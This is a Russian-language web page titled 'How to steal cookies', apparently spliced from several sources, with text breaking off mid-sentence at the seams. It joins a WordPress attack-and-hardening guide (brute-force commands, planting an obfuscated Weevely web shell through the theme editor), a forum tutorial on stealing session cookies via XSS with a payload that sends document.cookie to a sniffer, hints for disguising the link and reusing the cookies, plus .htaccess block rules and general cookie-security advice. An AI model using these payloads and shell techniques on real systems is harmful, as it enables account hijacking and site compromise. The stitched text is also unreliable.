Как украсть куки файлы. Простой способ украсть cookie

WordPress - это удобная блог-платформа для публикации статей и управления ими, на которой базируется огромное число различных сайтов. Из-за своей распространенности эта CMS уже давно является лакомым куском для злоумышленников. К сожалению, базовые настройки не обеспечивают достаточного уровня защиты, оставляя многие дефолтные дырки незакрытыми. В этой статье мы пройдем типичным путем «типового» взлома сайта на WordPress, а также покажем как устранить выявленные уязвимости.

На сегодняшний день WordPress среди систем управления контентом популярнее всего. Его доля составляет 60,4% от общего числа сайтов, использующих CMS-движки. Из них, согласно статистике, 67,3% сайтов базируется на последней версии данного программного обеспечения. Между тем за двенадцать лет существования веб-движка в нем было обнаружено 242 уязвимости различного рода (без учета уязвимостей, найденных в сторонних плагинах и темах). А статистика сторонних дополнений выглядит еще печальней. Так, компания Revisium провела анализ 2350 русифицированных шаблонов для WordPress, взятых из различных источников. В результате они выяснили, что более половины (54%) оказались зараженными веб-шеллами, бэкдорами, blackhat seo («спам») ссылками, а также содержали скрипты с критическими уязвимостями. Поэтому устраивайся поудобней, сейчас мы будем разбираться, как провести аудит сайта на WordPress и устранить найденные недостатки. Использовать будем версию 4.1 (русифицированную).

Первым этапом любого теста обычно бывает сбор информации о цели. И тут очень часто помогает неправильная настройка индексирования сайта, которая позволяет неавторизованным пользователям просматривать содержимое отдельных разделов сайта и, например, получить информацию об установленных плагинах и темах, а также доступ к конфиденциальным данным или резервным копиям баз данных. Чтобы проверить, какие директории видны снаружи, проще всего воспользоваться Гуглом. Достаточно выполнить запрос Google Dorks типа site:example.com intitle:"index of" inurl:/wp-content/ . В операторе inurl: можно указать следующие директории:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

Если сможешь просмотреть /wp-content/plugins/ , следующий шаг по сбору информации об установленных плагинах и их версиях значительно упрощается. Естественно, запретить индексирование можно с помощью файла robots.txt . Так как по умолчанию он не включен в установочный пакет WordPress, его необходимо создать самому и закинуть в корневую директорию сайта. Мануалов по созданию и работе с файлом robots.txt довольно много, поэтому оставлю эту тему для самоподготовки. Приведу лишь один из возможных вариантов:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ Disallow: /wp-content/themes/ Disallow: /?author=* Allow: /

Если в файлах, хранящихся в папке uploads , имеются сведения конфиденциального характера, добавляем к этому списку строчку: Disallow: /wp-content/uploads/ .
С другой стороны, в файле robots.txt не рекомендуется размещать ссылки на директории, которые были созданы специально для хранения чувствительной информации. Иначе этим самым ты облегчишь злоумышленнику задачу, так как это первое место, куда обычно все заглядывают в поисках «интересненького».

Еще один важный шаг - идентификация версии CMS. Иначе как подобрать подходящий сплоит? Существует три быстрых способа для определения используемой на сайте версии WordPress:

Один из вариантов защиты в данном случае - ограничить доступ к файлам readme.html и ru_RU.po с помощью.htaccess .

Исследованием безопасности WordPress занялись не вчера, поэтому существует достаточное количество инструментов, позволяющих автоматизировать рутинные задачи.

• определение версии и темы с помощью скрипта http-wordpress-info nmap -sV --script http-wordpress-info
• подбор пароля по словарям nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com

• модуль для определения версии: auxiliary/scanner/http/wordpress_scanner ;
• модуль для определения имени пользователя auxiliary/scanner/http/wordpress_login_enum .

• перечисление установленных плагинов: wpscan --url www.exmple.com --enumerate p ;
• перечисление установленных тем: wpscan --url www.exmple.com --enumerate t ;
• перечисление установленного timthumbs: wpscan --url www.example.com --enumerate tt ;
• определение имени пользователя: wpscan --url www.example.com --enumerate u ;
• подбор пароля по словарю для пользователя admin: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
• подбор пароля с использованием связки имя пользователя / пароль с числом потоков, равным 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .

Теперь давай соберем информацию об установленных плагинах и темах независимо от того, активированы они или нет. Прежде всего такую информацию можно выудить из исходного кода HTML-страницы, например по JavaScript-ссылкам, из комментариев и ресурсов типа CSS, которые подгружаются на страницу. Это самый простой способ получения информации об установленных компонентах. Например, строчки ниже указывают на используемую тему twentyeleven:

Так как информация о плагинах не всегда отображается в исходном коде HTML-страницы, то обнаружить установленные компоненты можно с помощью утилиты WPScan (см. врезку). Только не забывай, что перебор путей плагинов зафиксируется в логах веб-сервера.
Получив данные об установленных компонентах, уже можно приступать к поиску уязвимостей своими силами либо найти общедоступные эксплойты на ресурсах типа rapid7 или exploit-db .

По умолчанию в WordPress каждому пользователю присваивается уникальный идентификатор, представленный в виде числа: example.com/?author=1 . Перебирая числа, ты и определишь имена пользователей сайта. Учетная запись администратора admin, которая создается в процессе установки WordPress, идет под номером 1, поэтому в качестве защитной меры рекомендуется ее удалить.

Зная имя пользователя, можно попробовать подобрать пароль к панели администрирования. Форма авторизации WordPress на странице wp-login.php весьма информативна (рис. 3), особенно для злоумышленника: при вводе неправильных данных появляются подсказки о неверном имени пользователя или пароле для конкретного пользователя. Разработчикам известно о данной особенности, но ее решили оставить, так как подобные сообщения удобны для пользователей, которые могли забыть свой логин и/или пароль. Проблему подбора пароля можно решить, используя стойкий пароль, состоящий из двенадцати и более символов и включающий буквы верхнего и нижнего регистра, числа и спецсимволы. Или же, например, при помощи плагина Login LockDown.

После того как мы сбрутили пароль, ничто не мешает залить шелл на скомпрометированный веб-ресурс. Для этих целей вполне сгодится фреймворк Weevely , который позволяет генерировать шелл в обфусцированном виде, что делает его обнаружение довольно сложным. Чтобы не вызывать подозрения, полученный код можно вставить в любой файл темы (например, в index.php) через редактор темы консоли WordPress. После чего с помощью того же Weevely можно подключиться к машине жертвы и вызывать различные команды:

Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type:help for more information. weevely> :help

Для запрета доступа к чувствительной информации лучше воспользоваться файлом.htaccess - это файл конфигурации, используемый в Apache Web Server. Рассмотрим возможности этого файла с точки зрения безопасности. С его помощью можно: запретить доступ к директориям и файлам, заблокировать различные SQL-инъекции и вредоносные скрипты. Для этого стандартный файл.htaccess для CMS WordPress 4.1 нужно немного расширить. Чтобы закрыть список файлов и папок, добавляем:

Options +FollowSymLinks -Indexes

RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) заблокирует ссылки, содержащие кодировку Base64. Избавиться от ссылок, содержащих тег :

RewriteCond %{QUERY_STRING} (|%3E)

Противодействовать скриптам, пытающимся установить глобальные переменные или изменить переменную _REQUEST через URL:

RewriteCond %{QUERY_STRING} GLOBALS (=|\[|\%{0,2}) RewriteCond %{QUERY_STRING} _REQUEST (=|\[|\%{0,2})

Для противодействия SQL-инъекциям блокируем запросы к URL, содержащие определенные ключевые слова:

RewriteCond %{query_string} concat.*\( RewriteCond %{query_string} union.*select.*\( RewriteCond %{query_string} union.*all.*select RewriteRule ^(.*)$ index.php

Чтобы испортить жизнь распространенным хакерским утилитам, отфильтровываем определенные user-agent’ы:

SetEnvIf user-agent «Indy Library» stayout=1 SetEnvIf user-agent «libwww-perl» stayout=1 SetEnvIf user-agent «Wget» stayout=1 deny from env=stayout

Неплохо было бы также ограничить и доступ к особо важным файлам, которые хранят конфигурацию или просто могут выдать злоумышленнику какую-то информацию. Можно выделить следующих кандидатов:

• wp-config.php , содержит имя БД, имя пользователя, пароль и префикс таблиц;
• .htaccess ;
• readme.html и ru_RU.po , которые содержат версию WordPress;
• install.php .

Делается это следующим образом:

Order Allow,Deny Deny from all

Причем файл.htaccess , содержащий эти строки, должен находиться в той же директории, что и защищаемый файл. Затем запрещаем перечисление пользователей (помнишь, чуть выше мы говорили о том, как легко получить список пользователей?):

RewriteCond %{QUERY_STRING} author=\d RewriteRule ^ /?

Так, что еще? Можно разрешить вход только с указанных IP-адресов. Для этого создай файл.htaccess в папке wp-admin со следующими правилами:

AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Access Control" AuthType Basic order deny,allow deny from all allow from 178.178.178.178 # IP домашнего компа allow from 248.248.248.248 # IP рабочего компа

Метод не слишком гибкий и применим только в случае, если ты работаешь с ограниченным числом фиксированных IP-адресов. В противном случае рекомендуется установить пароль на папку wp-admin через хостинг-панель (при наличии такого функционала).

К тому, что было сказано выше, можно добавить следующие рекомендации. Во-первых, использовать только актуальные версии WordPress и его компонентов - это позволит устранить известные уязвимости. Во-вторых, удалить неиспользуемые плагины и темы, которые также могут быть проэксплуатированы. В-третьих, скачивать темы и плагины WordPress из достоверных источников, например с сайтов разработчиков и официального сайта WordPress. Как и домашний ПК, нужно периодически проверять свой веб-ресурс веб-антивирусом, например AI-Bolit . Если у тебя есть доступ к веб-серверу, настрой права доступа к файлам и каталогам. Как правило, WordPress устанавливает все необходимые права на стадии установки, но в случае необходимости chmod можно выставить вручную. Для каталогов - chmod 755 , для файлов - chmod 644 . Убедись, что права 777 присвоены только тем объектам, которые в этом нуждаются (иногда это необходимо для нормальной работы некоторых плагинов). Если WordPress перестал нормально функционировать, поэкспериментируй с правами доступа: сначала попробуй 755, затем 766 и, наконец, 777. Для всех htaccess-файлов выставь chmod 444 (только чтение). Если сайт перестанет работать, попробуй поэкспериментировать со значениями 400, 440, 444, 600, 640, 644.

Перемести файл wp-config.php . Данный файл содержит информацию о настройках MySQL, префикс таблиц, секретные ключи и прочее. Поэтому его необходимо перенести для того, чтобы файл не был доступен из интернета. Если сайт не располагается в папке public_html , то перенеси файл wp-config.php в папку уровнем выше, и WordPress автоматически найдет его в этой корневой директории (применимо, если на хостинге имеется только один сайт на этой CMS).

Чтобы усложнить заливку шелла, отключи возможность редактирования темы через консоль WordPress. Для этого вставь следующую строчку в файл wp-config.php: define("DISALLOW_FILE_EDIT", true); .

Еще одно слабое место - файл install.php (что в папке wp-admin). Поэтому его лучше удалить, заблокировать или изменить. Выполни один из вариантов:

Помимо уведомления посетителей сайта, данный скрипт выполняет следующие действия:

• отправляет клиенту и поисковым системам код состояния 503 («Сервис временно недоступен»);
• указывает промежуток времени, через который клиенты и поисковые системы могут вернуться на сайт (настраиваемый параметр);
• уведомляет по электронной почте о проблеме с БД для принятия соответствующих мер.

Дело в том, что в ранних версиях WordPress (alert() и нажмем "найти"
Вылетело окошко c xss, значит xss присутствует.(возможно, на момент прочтения вами данной статьи эту xss уже пофисят)

2.2.Активные XSS
Такие ксс могут быть, например, в полях профиля, при добавлении новости в названии новости и в самой новости(реже), в сообщениях на форумах/чатах/гостивухах при включенном html. Тут все просто, вписываем в поля скрипт из предыдущего подпункта, и если сообщение вывелось на экран, то уязвимость присутствует.
Рассморим xss в BB тегах на форумах.
можно попробовать тупо вставить javascript код в тег, например так:
javasсriрt:alert(‘xss’)
У некоторых тегов есть параметры, например у тега есть параметры dynsrc и lowsrc, попробуем подставить код так:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
Если скрипт сработал, xss есть

3.Использование XSS для кражи cookies
Теперь самое вкусное))))
Для того чтобы украсть куки нам понадобится веб-сниффер, можно установить какой-нибудь сниффер на свой хостинг, а можно воспользоваться онлайн-сниффером, которых сейчас полно.
Чтобы украсть куки через пассивеую XSS надо чтобы жертва прошла по ядовитой ссылке. Чтобы украсть куки мы будем исользовать вместо alert(‘xss’) другой скрипт:
img = new Image();


подставляем скрипт в ссылку и даем жертве перейти по ней, смотри лог сниффера и радуемся.
Рассмотрим на примере.
Возьмем ту XSS на рамблере из предыдущего пункта.
Вставляем
">
img = new Image();
img.src = "адрес картинки-сниффера"+document.cookie;

в форму поиска, нажимаем "найти", смотрим адресную строку и видим:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Кидаем эту ссылку жертве и радуемся кукам.
Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
">img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
в URL Или воспользоваться сервисами типа http://tinyurl.com/
Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;

Теперь у нас есть куки. Но что с ними делать? Все просто, их надо подставить вместо своих. В браузере Opera есть встроеный редактор cookies(инструменты->дополнительно->управление cookies), для firefox есть плагин(не помню как называется, юзайте гугл)
На этом пока все, возможно статья будет дополняться

На картинке видно, что в cookie присутствует строка wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. Это значение находится в незашифрованном виде в файле cookie и его легко перехватить с помощью утилиты Achilles, но как правило в большинстве случаев в Achilles можно увидеть лишь хеш той или иной записи. Перед отсылкой запроса на сервер можно попытаться заменить эту строку на любую подобную (хотя в данном случае смысла нет) - количество попыток не ограничено. Затем, отослав этот запрос на сервер с помощью кнопки Send, можно получить ответ от сервера, предназначаю­щийся администратору.

В предыдущем примере можно использовать прямую подмену идентификатора пользователя. Кроме того, название параметра, подмена значения которого предоставляет дополнительные возможности хакеру, может быть следующим: user (например, USER=JDOE), любое выражение со строкой ID (например, USER=JDOE или SESSIONID=BLAHBLAH), admin (например, ADMIN=TRUE), session (например, SESSION=ACTIVE), cart (например, CART=FULL), а также такие выражения, как TRUE, FALSE, ACTIVE, INACTIVE. Обычно формат файлов cookie очень зависит от приложения, для нужд которого они используются. Однако приведенные советы по поиску изъянов приложений с помощью файлов cookie годятся практически для всех форматов.

В общем случае пользователь должен осторожно относиться к Web-узлам, использующим файлы cookie для аутентификации и хранения важных данных. Также необходимо помнить, что Web-узел, использующий для аутентификации файлы cookie, должен поддерживать хотя бы протокол SSL для шифрования имени пользователя и пароля, так как в случае отсутствия этого протокола данные передаются в незашифрованном виде, что позволяет перехватывать их, ис­пользуя простейшие программные средства для просмотра данных, пересылаемых по сети.

Компания Kookaburra Software разработала инструмент, облегчающий использование файлов cookie. Называется инструмент CookiePal (http://www.kburra.com/cpal.html (см. www.kburra.com) ). Данная программа предназначена для предупреждения пользователя при попытке Web-узла установить на машину файл cookie, при этом пользователь может разрешить или запретить это действие. Подобные функции блокирования файлов cookie на сегодня есть во всех браузерах.

Еще одной причиной регулярной установки обновлений Web-броузера, является постоянно выявляемые изъяны системы безопасности этих программ. Так, Бенет Хэйзелтон (Bennet Haselton) и Джеми МакКарти (Jamie McCarthy) создали сценарий, который после щелчка на ссылке извлекает файлы cookie с машины клиента. В результате становится доступным все со­держимое файлов cookie, которые находятся на машине пользователя.

Взлом подобного рода может быть также осуществлен с помощью дескриптора , встраиваемого в HTML-текст на Web-странице (или в HTML-содержимое электронного письма или рассылки групп новостей) для похищения файлов cookie. Рассмотрим следующий пример:

Для того, чтоб подобные вещи не грозили нашим личным данным, сам так делаю и всем советую всегда обновлять ПО, работающее с HTML-кодом (e-mail клиенты, медиа-проигрыватели, браузеры и т.д.).

Многие предпочитают просто блокировать получение файлов cookie, однако, большинству Web-узлов для просмотра необходима поддержка cookie. Вывод – если в скором будущем появится инновационная технология, позволяющая обходится без cookie, программисты и администраторы с облегчением вздохнут, а пока cookie остается лакомым куском для хакера! Это действительно так, поскольку более качественной альтернативы пока не существует.

В случае рекомендаций по обеспечению безопасности сервера специалисты дают один простой совет: не используйте механизм cookie без особой на то необходимости! Особенно необходимо быть осторожными при использовании файлов cookie, которые остаются в системе пользователя после завершения сеанса связи.

Конечно же, важно понимать, что файлы cookie могут использоваться в целях обеспече­ния безопасности Web-серверов для осуществления авторизации пользователей. Если все же разрабатываемому приложению необходимо использовать файлы cookie, то этот механизм следует настроить таким образом, чтобы при каждом сеансе использовались различные клю­чи с коротким периодом действия, а также стараться не помещать в эти файлы информацию, которая может быть использована хакерами для взлома (такую как ADMIN=TRUE).

Кроме того, для обеспечения большей безопасности при работе с файлами cookie можно использовать их шифрование для предотвращения извлечения важной информации. Конечно же, шифрование не решает всех проблем безопасности при работе с технологией cookie, однако этот метод позволит предотвратить наиболее простые взломы, описанные выше.

Cookies (куки) — информация в виде текстового файла, сохраняемая на компьютере пользователя веб-сайтом. Содержит данные об аутентификации (логин/пароль, ID, номер телефона, адрес почтового ящика), пользовательские настройки, статус доступа. Хранится в профиле браузера.

Взлом куки — это кража (или «угон») сессии посетителя веб-ресурса. Закрытая информация становится доступной не только отправителю и получателю, но и ещё третьему лицу — человеку осуществившему перехват.

У компьютерных воров, как и у их коллег в реале, помимо навыков, сноровки и знаний, конечно же, есть и свой инструментарий — своеобразный арсенал отмычек и щупов. Ознакомимся с наиболее популярными хитростями хакеров, которые они применяют для выуживания куки у обывателей сети Интернет.

Специальные программы для отслеживания и анализа сетевого трафика. Их название происходит от английского глагола «sniff» (нюхать), т.к. в буквальном смысле слова «вынюхивают» передаваемые пакеты между узлами.

А вот злоумышленники при помощи сниффера перехватывают сессионые данные, сообщения и другую конфиденциальную информацию. Объектом их атак становятся в основном незащищённые сети, где куки пересылаются в открытой HTTP-сессии, то есть практически не шифруются. (Наиболее уязвимы в этом плане публичные Wi-Fi.)

Для внедрения сниффера в интернет-канал между узлом пользователя и веб-сервером используются следующие методы:

• «прослушивание» сетевых интерфейсов (хабов, свитчей);
• ответвление и копирование трафика;
• подключение в разрыв сетевого канала;
• анализ посредством специальных атак, перенаправляющих трафик жертвы на сниффер (MAC-spoofing, IP-spoofing).

Аббревиатура XSS означает Cross Site Scripting — межсайтовый скриптинг. Применяется для атаки на веб-сайты с целью похищения данных пользователя.

Принцип действия XSS заключается в следующем:

• злоумышленник внедряет вредоносный код (специальный замаскированный скрипт) на веб-страницу сайта, форума либо в сообщение (например, при переписке в соцсети);
• жертва заходит на инфицированную страницу и активирует установленный код на своём ПК (кликает, переходит по ссылке и т.д.);
• в свою очередь приведённый в действие зловредный код «извлекает» конфиденциальные данные пользователя из браузера (в частности, куки) и отправляет их на веб-сервер злоумышленника.

Для того, чтобы «вживить» программный XSS-механизм, хакеры используют всевозможные уязвимости в веб-серверах, онлайн-сервисах и браузерах.

Все XSS-уязвимости разделяются на два типа:

• Пассивные . Атака получается методом запроса к конкретному скрипту веб-страницы. Вредоносный код может вводиться в различные формы на веб-странице (например, в строку поиска по сайту). Наиболее подвержены пассивному XSS ресурсы, на которых отсутствует при поступлении данных фильтрация HTML-тегов;
• Активные . Находятся непосредственно на сервере. И приводятся в действие в браузере жертвы. Активно используются мошенниками во всевозможных блогах, чатах и новостных лентах.

Хакеры тщательно «камуфлируют» свои XSS-скрипты, чтобы жертва ничего не заподозрила. Меняют расширение файлов, выдают код за картинку, мотивируют пройти по ссылке, привлекают интересным контентом. В итоге: пользователь ПК, не совладавший с собственным любопытством, своей же рукой (кликом мышки) отправляет куки сессии (с логином и паролем!) автору XSS-скрипта — компьютерному злодею.

Все куки сохраняются и отправляются на веб-сервер (с которого они «пришли») без каких-либо изменений — в первозданном виде — с такими же значениями, строками и другими данными. Умышленная модификация их параметров называется подменна куки. Другими словами говоря, при подмене куки злоумышленник выдаёт желаемое за действительное. Например, при осуществлении платежа в интернет-магазине, в куки изменяется сумма оплаты в меньшую сторону — таким образом происходит «экономия» на покупках.

Украденные куки сессии в соцсети с чужого аккаунта «подкладываются» в другую сессию и на другом ПК. Владелец украденных кук получает полный доступ к аккаунту жертвы (переписка, контент, настройки страницы) до тех пор пока, она будет находится на своей странице.

«Редактирование» кук осуществляется при помощи:

• функции «Управление cookies... » в браузере Opera;
• аддонов Cookies Manager и Advanced Cookie Manager для FireFox;
• утилиты IECookiesView (только для Internet Explorer);
• текстового редактора типа AkelPad, NotePad или блокнота Windows.

Очень простая схема по реализации, состоит из нескольких шагов. Но действенна лишь в том случае, если компьютер жертвы с открытой сессией, например Вконтакте, оставлен без присмотра (и достаточно надолго!):

Как правило, хакеры используют вышеперечисленные инструменты (+ другие) как в комплексе (поскольку уровень защиты на многих веб-ресурсах достаточно высок), так и по отдельности (когда пользователи проявляют чрезмерную наивность).

И самое главное — не теряйте бдительность и внимание во время отдыха или работы в Интернете!